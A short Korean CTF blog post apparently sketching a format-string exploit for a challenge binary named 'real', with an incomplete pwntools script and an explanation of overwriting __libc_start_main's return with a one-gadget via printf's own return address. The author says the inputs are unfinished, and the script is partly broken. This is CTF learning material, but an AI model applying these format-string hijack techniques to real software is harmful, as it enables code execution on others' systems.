from pwn import * r=process('./real') raw_input() def _fsb(ff,var): r.sendlineafter('string -->',ff) r.sendlineafter('-->',var) r.recvuntil('is ') stack=int(r.recv(14),16) log.info(hex(stack)) r.recvuntil('-->') r.sendline(str(stack(not correct)) r.recvuntil('value is ') leak=int(r.recv(2),16) log.info('leak : '+hex(leak)) for i in range(15): _fsb("%x",str(stack)) # not correct #pppr -> libc_start_main fix to onegadget r.interactive()
이런식으로 구상했는데 정확한 입력은 구상하지 ㅇ낳았다. ㅎ_ㅎ
우선 libc_start_main이 있는 부분의 일부를 조작해서 onegadget으로 만든다.(stack이 null로 많이 초기화 되서 가능할 것이라고 생각했다. 64비트 라이브러리의 원가젯 조건이 [rsp+a]=0인 조건이 많기 때문)
printf의 ret인 main부분이 스택에 있는 걸 활용해서 $를 이용해 ret을 pppr가젯으로 바꾼다. 그러면 libc_start_main으로 리턴하게 되는데 여기에 덮어쓴 onegadget이 실행되는 것이다.
포맷스트링버그(fsb)에서 printf자체의 리턴값을 조작하여 eip를 컨트롤 할 수도 있다는 아이디어가 핵심인 것 같다.
'CTF' 카테고리의 다른 글
[defcon prequal 2017]magic (0) | 2017.05.12 |
---|---|
[codegate17 prequal]postbox (0) | 2017.05.11 |
[codegate 2017 prequal]meow (0) | 2017.05.09 |
[codegate17 prequal]Goversing (0) | 2017.05.08 |
[plaid2017]pykemon (0) | 2017.04.24 |